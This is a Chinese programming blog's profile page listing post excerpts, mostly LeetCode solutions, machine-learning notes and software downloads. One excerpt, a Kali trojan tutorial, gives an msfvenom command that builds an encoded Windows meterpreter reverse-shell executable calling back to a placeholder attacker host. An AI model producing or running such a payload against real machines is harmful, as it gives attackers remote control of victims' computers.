自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

胡乱写点什么

学的比较杂,喜欢的可以多交流

  • 博客(200)
  • 资源 (8)
  • 收藏
  • 关注

原创 kali木马 简易木马制作与应用

Kali——木马(一)学习web渗透过程中的心得体会以及知识点的整理,方便我自己查找,也希望可以和大家一起交流。—— 简易木马制作与应用 ——一.流程首先确定靶机和攻击主机可以连通利用msfvenom创建木马程序msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '0x00' LHOST=xxx.xxx.xxx.xxx(攻击主机的ip) LPORT=xxx(攻击主机的端口) -f exe >p

2021-06-24 14:22:18 4681 1

原创 kali的vega安装流程

安装:由于kali不在提供vega,所以需要自己安装。可以去官网下载安装包,点击【vega官网】前往下载。但是在我写这篇博客的时候,vega的官网也不能下载了,所以我把安装包上传,大家共享,点击【安装包】下载。下载后,在命令行中进入存放压缩包的目录,输入命令unzip VegaBuild-linux.gtk.x86_64.zip(压缩包的名字) -d vega/安装后,输入命令 ./Veg...

2019-07-21 23:41:12 6523 15

原创 吴恩达机器学习笔记(三)逻辑回归

学习机器学习过程中的心得体会以及知识点的整理,方便我自己查找,也希望可以和大家一起交流。

2023-01-26 20:01:43 747 1

原创 力扣LeetCode第五十四题 螺旋矩阵

给你一个 m 行 n 列的矩阵 matrix ,请按照 顺时针螺旋顺序 ,返回矩阵中的所有元素。

2022-06-06 09:00:23 271

原创 力扣LeetCode第四十八题 旋转图像

给定一个 n × n 的二维矩阵 matrix 表示一个图像。请你将图像顺时针旋转 90 度。你必须在原地 旋转图像,这意味着你需要直接修改输入的二维矩阵。请不要 使用另一个矩阵来旋转图像。

2022-06-06 08:57:32 219

原创 吴恩达机器学习笔记(二)多变量线性回归

学习机器学习过程中的心得体会以及知识点的整理,方便我自己查找,也希望可以和大家一起交流。

2022-06-06 08:54:00 227

原创 吴恩达机器学习笔记(一)概述与单变量线性回归

什么是机器学习Arthur Samuel认为机器学习是在没有明确设置的情况下,是计算机具有学习能力的研究领域。Tom Mitchell认为翻译过来就是:如果用P来衡量计算机程序在任务T上的性能,根据经验E在任务T上获得性能改善,那么我们称该程序从经验E中学习。机器学习主要分为有监督学习和无监督学习以及还有强化学习和推荐系统等,通俗来说有监督学习就是我们教计算机做事情,无监督学习就是让计算机自己做事情。学术上讲,可以根据是否有label来区分监督学习和无监督学习。

2022-05-27 16:21:48 137 1

原创 力扣LeetCode第一百一十八题 杨辉三角

给定一个非负整数 numRows,生成「杨辉三角」的前 numRows 行。在「杨辉三角」中,每个数是它左上方和右上方的数的和。

2022-05-27 15:59:39 976

原创 力扣LeetCode第七百零六题 设计哈希映射

不使用任何内建的哈希表库设计一个哈希映射(HashMap)。实现 MyHashMap 类:● MyHashMap() 用空映射初始化对象● void put(int key, int value) 向 HashMap 插入一个键值对 (key, value) 。如果 key 已经存在于映射中,则更新其对应的值 value 。● int get(int key) 返回特定的 key 所映射的 value ;如果映射中不包含 key 的映射,返回 -1 。● void remove(key) 如果映射

2022-05-27 15:57:21 80

原创 力扣LeetCode第五十六题 合并区间

intervals 表示若干个区间的集合,其中单个区间为 intervals[i] = [starti, endi] 。请你合并所有重叠的区间,并返回 一个不重叠的区间数组,该数组需恰好覆盖输入中的所有区间 。

2022-05-27 15:54:43 380

原创 力扣LeetCode第七十五题 颜色分类

给定一个包含红色、白色和蓝色、共 n 个元素的数组 nums ,原地对它们进行排序,使得相同颜色的元素相邻,并按照红色、白色、蓝色顺序排列。我们使用整数 0、 1 和 2 分别表示红色、白色和蓝色。必须在不使用库的sort函数的情况下解决这个问题。

2022-05-26 19:57:32 354

原创 力扣LeetCode第一百六十九题 多数元素

给定一个大小为 n 的数组,找到其中的多数元素。多数元素是指在数组中出现次数 大于 ⌊ n/2 ⌋ 的元素。你可以假设数组是非空的,并且给定的数组总是存在多数元素。

2022-05-26 19:53:52 95

原创 力扣LeetCode第一百三十六题 只出现一次的数字

给定一个非空整数数组,除了某个元素只出现一次以外,其余每个元素均出现两次。找出那个只出现了一次的元素。

2022-05-26 19:51:10 86

原创 常见排序算法(C语言实现)

常见排序算法(C语言实现)文章目录常见排序算法(C语言实现)一、插入排序二、希尔排序三、选择排序四、堆排序五.冒泡排序六、快速排序七、归并排序一、插入排序void insertSort(int arr[], int n){ int i, j, tmp; for(i = 1; i < n; i++) for(j = i; j > 0; j--){ if(arr[j] < arr[j-1]){ tm

2022-03-08 10:47:34 520

原创 程序设计复试题 超车问题

假设有一条单向通行的隧道,有一天有 m 辆编号为1到 m 的小轿车从这条隧道入口进入然后从出口驶出。每辆车只会经过这个隧道一次。全部的车都以恒定的速度经过隧道。隧道的入口和出口处均设置有交通执法摄像头。从这两个交通执法摄像头,我们可以很清楚地知道每辆车进入和驶出隧道的顺序。没有两辆车会同时进入隧道,并且也没有两辆车会同时驶出隧道。交通法规禁止车辆在隧道中超车。如果车辆 i 在隧道中超了车辆 j,那么车辆 i 的车主就会面临罚款。每辆车的车主最多被罚款一次,即使他在隧道中超车多次。我们对车辆 i 超车辆 j

2022-02-16 22:27:17 294 1

原创 力扣LeetCode经典算法 队列的最大值

请定义一个队列并实现函数 max_value 得到队列里的最大值,要求函数max_value、push_back 和 pop_front 的均摊时间复杂度都是O(1)。若队列为空,pop_front 和 max_value 需要返回 -1

2022-02-13 16:50:01 182

原创 力扣LeetCode经典算法 把字符串转换成整数

写一个函数 StrToInt,实现把字符串转换成整数这个功能。不能使用 atoi 或者其他类似的库函数。首先,该函数会根据需要丢弃无用的开头空格字符,直到寻找到第一个非空格的字符为止。当我们寻找到的第一个非空字符为正或者负号时,则将该符号与之后面尽可能多的连续数字组合起来,作为该整数的正负号;假如第一个非空字符是数字,则直接将其与之后连续的数字字符组合起来,形成整数。该字符串除了有效的整数部分之后也可能会存在多余的字符,这些字符可以被忽略,它们对于函数不应该造成影响。

2022-02-13 16:43:17 209

原创 力扣LeetCode经典算法 表示数值的字符串

请实现一个函数用来判断字符串是否表示数值(包括整数和小数)。

2022-02-13 15:48:45 88

原创 力扣LeetCode经典算法 栈的压入、弹出序列

输入两个整数序列,第一个序列表示栈的压入顺序,请判断第二个序列是否为该栈的弹出顺序。假设压入栈的所有数字均不相等。例如,序列 {1,2,3,4,5} 是某栈的压栈序列,序列 {4,5,3,2,1} 是该压栈序列对应的一个弹出序列,但 {4,3,5,1,2} 就不可能是该压栈序列的弹出序列。

2022-02-13 15:34:29 145

原创 力扣LeetCode经典算法 顺时针打印矩阵

输入一个矩阵,按照从外向里以顺时针的顺序依次打印出每一个数字。

2022-02-12 17:42:41 312

原创 力扣LeetCode经典算法 圆圈中最后剩下的数字

0,1,···,n-1这n个数字排成一个圆圈,从数字0开始,每次从这个圆圈里删除第m个数字(删除后从下一个数字开始计数)。求出这个圆圈里剩下的最后一个数字。例如,0、1、2、3、4这5个数字组成一个圆圈,从数字0开始每次删除第3个数字,则删除的前4个数字依次是2、0、4、1,因此最后剩下的数字是3。

2022-02-12 17:36:15 406

原创 力扣LeetCode经典算法 剪绳子

给你一根长度为 n 的绳子,请把绳子剪成整数长度的 m 段(m、n都是整数,n>1并且m>1),每段绳子的长度记为 k[0],k[1]...k[m-1] 。请问 k[0]*k[1]*...*k[m-1] 可能的最大乘积是多少?例如,当绳子的长度是8时,我们把它剪成长度分别为2、3、3的三段,此时得到的最大乘积是18。

2022-02-12 16:30:33 490

原创 力扣LeetCode第五十八题 最后一个单词的长度

给你一个字符串 s,由若干单词组成,单词前后用一些空格字符隔开。返回字符串中最后一个单词的长度。单词是指仅由字母组成、不包含任何空格字符的最大子字符串。

2022-02-11 17:46:05 6241

原创 力扣LeetCode经典算法 和为s的连续正数序列

输入一个正整数 target ,输出所有和为 target 的连续正整数序列(至少含有两个数)。序列内的数字由小到大排列,不同序列按照首个数字从小到大排列。

2022-02-11 17:12:56 116

原创 力扣LeetCode经典算法 构建乘积数组

给定一个数组 A[0,1,…,n-1],请构建一个数组 B[0,1,…,n-1],其中 B[i] 的值是数组 A 中除了下标 i 以外的元素的积, 即 B[i]=A[0]×A[1]×…×A[i-1]×A[i+1]×…×A[n-1]。不能使用除法。

2022-02-11 16:56:40 125

原创 力扣LeetCode经典算法 数组中出现次数超过一半的数字

数组中有一个数字出现的次数超过数组长度的一半,请找出这个数字。你可以假设数组是非空的,并且给定的数组总是存在多数元素。

2022-02-11 16:47:58 270

原创 力扣LeetCode经典算法 数组中数字出现的次数②

在一个数组 nums 中除一个数字只出现一次之外,其他数字都出现了三次。请找出那个只出现一次的数字。

2022-02-11 16:21:54 218

原创 力扣LeetCode经典算法 数组中数字出现的次数①

一个整型数组 nums 里除两个数字之外,其他数字都出现了两次。请写程序找出这两个只出现一次的数字。要求时间复杂度是O(n),空间复杂度是O(1)。

2022-02-11 15:47:05 233

原创 力扣LeetCode经典算法 二进制中1的个数

编写一个函数,输入是一个无符号整数(以二进制串的形式),返回其二进制表达式中数字位数为 '1' 的个数(也被称为 汉明重量)。

2022-02-10 16:13:42 138

原创 力扣LeetCode经典算法 二叉搜索树的后序遍历序列

输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历结果。如果是则返回 true,否则返回 false。假设输入的数组的任意两个数字都互不相同。

2022-02-10 15:55:20 257

原创 力扣LeetCode经典算法 数值的整数次方

实现 pow(x, n) ,即计算 x 的 n 次幂函数(即,xn)。不得使用库函数,同时不需要考虑大数问题。

2022-02-10 15:40:48 206

原创 力扣LeetCode经典算法 重建二叉树

输入某二叉树的前序遍历和中序遍历的结果,请构建该二叉树并返回其根节点。假设输入的前序遍历和中序遍历的结果中都不含重复的数字。

2022-02-09 16:09:00 251

原创 力扣LeetCode经典算法 二叉树的最近公共祖先

给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。百度百科中最近公共祖先的定义为:“对于有根树 T 的两个结点 p、q,最近公共祖先表示为一个结点 x,满足 x 是 p、q 的祖先且 x 的深度尽可能大(一个节点也可以是它自己的祖先)。”

2022-02-09 16:06:41 60

原创 力扣LeetCode经典算法 二叉搜索树的最近公共祖先

给定一个二叉搜索树, 找到该树中两个指定节点的最近公共祖先。百度百科中最近公共祖先的定义为:“对于有根树 T 的两个结点 p、q,最近公共祖先表示为一个结点 x,满足 x 是 p、q 的祖先且 x 的深度尽可能大(一个节点也可以是它自己的祖先)。”

2022-02-09 15:31:35 61

原创 力扣LeetCode经典算法 求1+2+…+n

求 1+2+...+n ,要求不能使用乘除法、for、while、if、else、switch、case等关键字及条件判断语句(A?B:C)。

2022-02-09 15:06:37 682

原创 力扣LeetCode经典算法 平衡二叉树

输入一棵二叉树的根节点,判断该树是不是平衡二叉树。如果某二叉树中任意节点的左右子树的深度相差不超过1,那么它就是一棵平衡二叉树。

2022-02-08 17:33:38 87

原创 力扣LeetCode经典算法 二叉树的深度

输入一棵二叉树的根节点,求该树的深度。从根节点到叶节点依次经过的节点(含根、叶节点)形成树的一条路径,最长路径的长度为树的深度。

2022-02-08 17:21:46 57

原创 力扣LeetCode经典算法 最小的k个数

输入整数数组 arr ,找出其中最小的 k 个数。例如,输入4、5、1、6、2、7、3、8这8个数字,则最小的4个数字是1、2、3、4。

2022-02-08 17:11:43 316

原创 力扣LeetCode经典算法 扑克牌中的顺子

从若干副扑克牌中随机抽 5 张牌,判断是不是一个顺子,即这5张牌是不是连续的。2~10为数字本身,A为1,J为11,Q为12,K为13,而大、小王为 0 ,可以看成任意数字。A 不能视为 14。

2022-02-08 17:03:33 431

原创 力扣LeetCode经典算法 把数组排成最小的数

输入一个非负整数数组,把数组里所有数字拼接起来排成一个数,打印能拼接出的所有数字中最小的一个。

2022-02-08 16:28:16 523

windows系统python3.8的CPU版本tensorflow

windows系统python3.8的CPU版本tensorflow

2021-04-09

windows系统python3.7的CPU版本tensorflow

windows系统python3.7的CPU版本tensorflow

2021-04-09

Linux系统python3.7的CPU版本tensorflow

Linux系统python3.7的CPU版本tensorflow

2021-04-09

H3C华三模拟器2.1版本

H3C华三模拟器2.1版本

2020-12-22

eclipse各个版本安装程序win64

eclipse各个版本的下载器。 Eclipse 是一个开放源代码的、基于Java的可扩展开发平台。就其本身而言,它只是一个框架和一组服务,用于通过插件组件构建开发环境。幸运的是,Eclipse 附带了一个标准的插件集,包括Java开发工具(Java Development Kit,JDK)。

2020-02-28

wwwscan Gui Beta6网站后台扫描工具

wwwscan是一款网站后台扫描工具,简单好用又强大。它有命令行和图形界面两种。 使用方法也很简单,安装好后,直接启动,wwwscan.exe options ip/域名

2020-02-13

JDK1.8.0.221 .zip

JDK最新版本,1.8.0.221版本,Linux的X86安装包,现在官方下载需要账号和密码,且速度较慢,现上传分享,解压缩后文件夹里的压缩包才是安装包

2019-08-02

kali的vega基于Linux_x86_64安装包.zip

kali Linux 2.0后已经不提供vega了,官网也不再提供下载,搞到了安装包,大家共享

2019-07-21

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除